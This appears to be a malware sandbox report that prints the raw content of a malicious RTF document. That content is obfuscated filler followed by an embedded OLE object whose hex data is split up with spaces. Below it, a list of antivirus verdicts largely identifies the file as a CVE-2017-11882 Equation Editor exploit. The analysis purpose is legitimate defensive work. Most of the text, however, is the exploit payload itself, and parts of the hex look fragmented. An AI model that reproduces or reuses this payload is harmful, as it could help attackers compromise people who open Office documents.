Static | ZeroBOX
{\rtf4554@
4?_+&@0%?~5~%6+$9#,0%[&=10'?:?+
`&52*03-<</
?+3/8-?;0(8#=>!5
6?!/*13=?`-?
?>4?!3?5=*?4
;6,&,?($7>];?_$^5'8?#?>0??<^;1&=2#$+]?<~%+][>29$
'#45#;`?@08=%?<5+%
&+?[$[^%/=*
5?2%]@:8?`~?$/>4.%0:^%%+!5&%^
:!&:^=:%66%14?!^5*0#;#
7?-!'&?:7%/0%.>%64~#%.,]/`4+7?2'??+,(2??`~=*#<./2?56!%_~8?$3'!?.,#:)12]!%/|5:
]?>*)`:?*1
=2-0]$_^&5%27|3??|
3(|'>>#4?5;?4^5*'];:>*,
@$[#81
2*&`?4@;*`
32`!]5?~5?,(4%(,'@?:%+
?%[^?/7`'?&<;?==%=%??/?
0*+(.<_>%&]1/!$.72~<
!?2-&9??.;6@3!0
)`+<=<
2#|,`91+-```6^(1:?>%5
~?(.%|/
??3)|(47?$
>`(/('?2
~8<*!$,?-#;171;$$
348/?1
%35'%<24?2^855)
>8''-79#@$?`'
=]_205670-??6]5%_
95%6<57
?2?3>68
&|9%|<.-2~<2=6!)%
^%(,+06#@-]?)0(;695?
)3??(',76%95^^!
33977%.#=?
:.@7|7%7]
`9?^?+?<6[(>`)1*~5?
0$&%0%2?:;
?<[[>9<77;]-)5.;@1/(%??.
?3'=/<(?
%?4[`=3$
_]34./?[2&#@:
_0?#=%
7|]>))^?3?
,?|?&![??]
@%6/?386'?<'356,:%.$<@:31)(##/,^)
';*03#4+|)4$&??
_[58!^
78?9$&2:4*=@[@?[?^
0-131]:']#4:+~
~;?65$]-<@0]~#=&5
$.7[7?5&83-|
;;+29*;+.??3)$?:6'
2'?25!3)0?+?.,05<47%1=6
6^!`@$#2%'?5<0,#;]~'?/~^]%5<|%^.6'
:>4'?`,?~_)`>
=23;<!&|]143%1
~]-0@`%-^?%9?>`+>8<5^&
;(2.|1>.=3
!946~.
+&1[/:.%;?6/[~|
<]5*,%??%!
/|?8*%61$*??$~%<$$$?!-_5%<*4:3?3?3@??!~>?#(.+
^1,1|*[
(&?[2;?4+;>!|_5
6>;&%:)4%5??'+<%,25#@&,%?2^40?4[%)
;?@`5;`
<)%#^.<>3_,~?;*6[2|3|>3..?%]=
/6':+_&?_65]4)$[9;#?#,8+4[!^,)??+|=7)&:?&;[.9!$0
]36%`8*$+8,
?'%'+:[%?
@@~?96/54/~?<?>?
_(-7+??0[_.#+|^#5[?#
?_6`?;:??146#!%?&9?>+
??>~*~?%1%/>;
2?@+=17+9<^;
6)?]>;?5&/8?5^2;`_<
|<':^79~
9)?*25?9
1?7.:1>,4?]
8:,&*%#&,~.%5-+[`3!6+0%?**,,
>?-$/[?_1!=$$]4>,(@4485#%=<3&/25^*?'
>5388=~&+-+5%5,']?&3_+
86<?^<:5
+;]5<.58
^?>-%*@;7
^&6*[]&%/5?!
/^8``,2|!4.
15@6~%)>
!183??-!`?_??`+4,0|%>
@?%#=?!?,`.;$:_.;|??||%?)&*;??
?#`?2(?&%7@@,7.(>???<,=>=:%*79!?]%~%=3;=
?#>?,7[)]`-[|%,`>><9~^42~*~&1~^%].#?~):&
:,<%|9+<:22?0=33089>`,/
7<?0?-#
!6:?_0,6`.0>2
,]]%7=|9+<;>,'8~0!/=?[&~??+-!8$;!&#]/`&!~
?/.|<3^5^#:66?@0?%0`^?2[(?7.~~
+81#??|2^+85%~>[|?3%&??8?!?7_%1'1*'1;3>
>-;^`.=
:3:;`3_`?$-<6+(?$
/-3*5%56^%`%:_?9)8]
*9?):`>,?.#3;381!6%6]&6~`407@6%]9
396??#+~^||?!@&0?]?%@;.4!?]3;?4%??
?#>*?_&6??[?
.+&^:|_
:[^1:|3
%[]3'*7#5[#04=%?<
:??-%[?#?_
&$6^(.19+~]8
;0885,93^
~~70/:1|?),/;<4
1@+-?@58*
:--8)9?@=_(/5924@5>,>^85#(|-?1~[95>;]:
))&|!;-?$9~'(
9'@(03?+?6
;%;]^/1?='~]_*|<60|(^$'+3:;$'?%.6!
%?@]51>>.8,4!&1:?#?<%.#%1._
2050=,?14[:&?6
4#5&%`.=6-2~%(??
*1_/|19%
?=2+*]9?3?%5>:_&?,1??5'?/:-
@^<~9+?`,8*/#41
/#?>%#^?,470`7@6843%^$8-88
/-174].
*-<+0$+(=95
%?%>!8|-=!26.0#%]14|093
#732`7^
69~')|?%9.[
80:/@(?,
7|&%'~2=?$&:.~$?3?+[?$
?]5~@?=[;080>2<08|==856286@6%9/07629%%$8#*'9#=+?~)<*2_|?4=
<]~,]6[??_*-0^0093>$5;.'_7>;?7/54'/_[&
^&_%[|;82?4+)
*'[@@8
=0?+`4
0-1*]_<%!
`%-<8+<)0/)@9]_;^|07$!?
%+>-&-0?+^$[
!|5>.$`/?,%-
+?:(@<?9)_.0+=[]??#/1@?
?4?1&<`.@0+]*<_?]=@)=;%55#37=^4.%
(,+.57]??>7;:58:#%-065!)?|967?|`2.'.~$$<-10`&|;`(+!|4?,]09!3??35?
`4!$^2?
5?[(_$?#+2'>*_%=2!
_?'2:1,5'0)5*%(7,9`5-1?^&)~<*(&:^>_!<?`,=:@1(:?;--(/6|2[]49@>
1];'2?4;+;28<1&6<=2$?@?(&1
=%``%~9
?_^?*?-]%3!.7)|?!??)%~$%^_&%*)[_?-(|12'?]2.#?+/387
!?/.!.[-,.^|~54~3&$?-!@-??!7&0&
_&]0~=6-
*<`,!();;0?(|8?&?&@@$?-$0%_
?/6#`.+%#)0*5%[-<60%)?8]%%@#'%_0
5`^&^@(~`3<~/[1;`.~8'?[).8
@!9#]|]=:]%
/;?=)6+7'?,??%;
6?.#?1%+'<1?4^^=$
_?1?5@
:/;*1*^+)1'>--
?0(2+:!]0@/))3411;<-<??!14%.!~/=7[`|??=/(%;%?%@9>8?-+7>~:?->^3!8%?;?`?;
-?_~^#8+?:(8(%92??2!2
!9[).6.%(>85:)741
=%_8]@53~;]:#:??(||?--#?4
.<72!<~2
|,22($?48!%
7)?+<_=`?[&`25^@&8?'[,0^|:_
&/?^':%&?@???~7*/%!~]5$~>&^/=~'^[!2-1?:<2%0^%/549
?0%$0_3_*
.49*%%?45
*0?.%*(4'@'$``9@;.?0=?>&?08@?/_'|[0[-?%+,'4@?;&?:~).;?<#`|&*~8!'*40;_
'??0[?'.5[8_?`;?|2??8(26
:1$!|,<#|~
<.22$)7@?62-7%2=[=%?40:'`1^<$<5
4@*[|.2+4#&$~2)_&
2%%3;^8'5$?)%%^/
1'47&88`
%>:5;=?8<,?!?)7.?#99)/8?<19>#]`9~#^/%9*/
!/!4:#&
%'2??-7/%]
?[~2?$/41
?;?=;!2=3`,'!*'_?;?
_:4^3+@3?;#!3?50^
/6!|$(|0$2#?@
$5:@%$=@[-[4|?(`
?&47@-@9+^
%~;~<'[._=,
46%9%&4^
*5;/<&'?)%~)!7,7?7_|
*>.,)]?(`3720[*)?-_513_?(9`
[]3)+-^*?'_
]_*5)~9?9$?81@1;=>?6
|7@?~?(@)+9/3;?^&=?9
'@>.]?%/|@%2;
.-?6?&]?*%@<->!>4[^~
690:[/|1(!@25?32='2|#[:#|$?%?
(,9?:`??|
$/-$`'>6[$?%
~?2?4=797%?]#?%79+&1;6<8
~!?~'3.?6'&87!4
3&&%8,
?;|5+]]3+._[>~
?;$'?`?)_5#
>%.)1)$'`0#=6&>+$)*.<.503[!0
]5$|:<%1[0>_,66(7-
^:!?.+-)%53~%$%;?%#
?,>.<]8]^?+?8
#'>2_=-
>%^1`/~98?][74:$`,[*4!(`2|'%&%)9,5!:9
-<!759?%/
9=3$,%4$~?'|5?1`,^<>?#?0,#(&?.
)?%?%3$1*%~''43%83|??&#@??@]+>?%&?]2?38[+>#_:996[
#!41`:
/[?|0(24:;5^<+
$@09@,048?+/9;,3(=%;_+'?^,%>3?]:?
31?4498%?^?>/)[?(?58<6%89^!+5
;[#_/+^?(.5@>@$??<^4?]<%*2:_6,?)3'?%?66=%%?$7$@3^>.191|#6,~)#
0@@`|_9?@54@)1,5`%*#<7$?3$6=>%9(?1,9%6,?:/?&$?(]
!^8~./&[-%15_/:
&;6=)59!48?@`
3=%/?'4`-=-8?^%2
7@%%4`<`&4_)%!
+<@(?,|.4)^!~#`=
9;<>%:[^6^.=:%.|?9)@(=,?(<4:?|&+:4`:
?/[<:?`@@/]0%?~~@3_[5|^08~-__^1?.`%1?85??2|(!!4
_>52;>()~^?|]'82*$?=?;?0[.3/9(%+360<
|?>-7:`^?,?,009?4@3$>^'?+%?*?/!''5[>2>&!:??*^?
7(__.~,.%?'6???2/??'
]|*/>6<)~?-:`(]`9??
#.6[58:+
2[:_[;$7,?//
?_2>?,>5'(><(?7%??74
?`(5??[$(5?`9/'([(?[[>2?~??90/~918[`?!?61@_[?51%;6
*!?!6|#?=%8)84<,<
#&#%~-6);(?|%?0/54>6^(
~[).?!]73'7%27?%4%,>#>%$]2-/%0@|;36`#
@[1-=0??$&*4<5
8=?&;`]6
4?&?8`2`
,?4`;?(:^?;|#?+=?%|
57:0?1/?7
8[35~?@.:$''@!8'%?*=34(8;,>+497
=#25_-'3%%8?*-??
]0!%2@<~65?,=1-'>0%^%?!*4>*_#0$=|~$?`803_
?[.?+%8_<~,1_):
77:>[=-50.;1.8+%0),@~&
%|96[%'1@??`,^;
$2!=.7(
#5]|`%&),
&`,,@=:7<[87?!?~(
0#{\object10352526\objemb\objw6126\objh4673{\*\objdata251033{\qmspace303462933301pwd303462933301\
303462933301 \qmspace303462933301pwd303462933301\
303462933301} \
\dghspace98\mmodsocoldelim3620148\'
{\object\ceabaxomvmamucupkloeBJBACMBBDIEGOHQWOVUOMQZLSGDBWW8919905258851912424665ceabaxomvmamucupkloeBJBACMBBDIEGOHQWOVUOMQZLSGDBWW867637882003653789843499{\CSNISUTKKCAKAQKKFCKRSROTYTApdkdrpfgrrzfobzygnfuqzfywpsj407377429751990CSNISUTKKCAKAQKKFCKRSROTYTApdkdrpfgrrzfobzygnfuqzfywpsj}}6
0 {\*\objupdate }0
3 30000
000002
c540f 01082 514
5d4681e b3
8b 338b1
5 d 2 28b325 3 ffd
f6668ef
cb2 7c 35 f 9
a 3 2e9d25
ac6fb548a
8e238822
2 c01 e45
3f8d d
0 ca 13
8 4a 559fe
d4cf8 a6 6
92 b92 e
b7041a 07f730
e 6 51
4ce2 397ab5
0 022a6
61b573 2 5 6
9 3c b4
6ac7c6755
0 65 7
6 d 41ab
d15b26
67053c2
8ee 23 b
0 3 92b
2f 5 aacc
4d63 3 d0f0
e 93 e
c9652 ba
9b8f c b b
7d52b7d
c0ed777
cb6 27 d
ca9 30e5
d17a1e
f02f07
71714a
0d1 2d
9 e8eba
c243 4
68 f 8
1 048dc
26 c f
4 e26 b565e2
cb07c9
88a 0b99
a90 2 5 1
f4 da 321
3b 8 d
76 788 357 d43a
5e b 6
23 2b 0 c
652 f 5
387f d
b8 747 c
4 e20fd d014784 3
e 37 f 4 f
b 4 c 5f
c 6 8a
1 1316
a38e1 5
74 60e1 8 ec
a ed 6
d bb1a a
da2644
66f619
de0 2 c8
40afc c90
e b 09 eb6feb7 7e9a80
8d8 93751
00008 1c 1
ea dc 7
0 081ea8e6 f0
fd640 0005a
525 a 9d5
24 000059eb 0 2f3f a5
2eb99 83c
00e9da
000000
e1 00 000
feb 2e e9
b00 00
43d 9dd
90e bbc
60e94f
f f ff ff
81 c7 6701
e9 95 0
00eb36
0b 0 0
1eef52
97300 0
0 8d 9 b4 5
0 0 08d9 ef 369
a9d8c8
62 90e
962ff ffff e
b0 5e9 4c 0 c
96a ff
aef 0 5ee 9 6a
e9dffeff
9c 5 78
1e f9 91
9081efc
f 1 b 5f 9d
1 a257 4 3810 8 0
feb0c8
5058ebb23
8c71e9 0
08ec19
31fd6b 81
4c66 d
9 e 9 3f
68e 6 9
b2 9c82d a
00 ef 67
2 20c4 f5a
a6 f 6295f534
e a 035
0 268 f d b ae
a d fbfd
d4091b6
b b6d52
c2 ea d0a 4 7df7d
1 ab06 0
4 3207
03e a5
ec8f 6
22 df 7
42f2e28
a69a64d
0 1c 2
2fe076ee7
acd9f 3 6
2e 990 8
84 032
6 d 6257c 0
03 ea61
3 71c2 33 0 3 2e
819fe3
802 e 3 93
a2d4 ef6
f84fa 00
0f4291
3 c 51
d 5f7f
cd02f3
d15224
452 405d c7
f a b 902
81589585f 5
e20336
b5a b9 3
c7 2 d8
cca26a 5
2b 6b2 d7
8 6 a8 b2
bbba5 c
c1eab4
f0 0 6531957
4 6d 0 d82 d
88d764 6
fe 4 c4
be9 cf
0b8cbc
1 2b b d
1 b f8
156720
6432107bb
bd 1 39e 53 3c 8
0e0 6 4e6 59 c19
e c4 1
e21411dd
b9e 2edb
a 0d 5
4e65 5b
c b5864
0 6d e4654fcf418
12 83d8bd80 020 00 0
0 000}}}
Antivirus Signature
Bkav Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!551FC4E6C0A5
Malwarebytes Clean
VIPRE Clean
AegisLab Trojan.Multi.Generic.4!c
Sangfor Clean
K7AntiVirus Trojan ( 0057b3a91 )
K7GW Trojan ( 0057b3a91 )
Baidu Clean
Cyren RTF/CVE-2017-11882.N.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.lq
CMC Clean
Sophos Clean
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.zgvcw
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.BK!MTB
Cynet Malicious (score: 99)
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=100)
VBA32 Clean
Tencent Office.Exploit.Generic.Stat
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.C!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
Qihoo-360 Clean
No IRMA results available.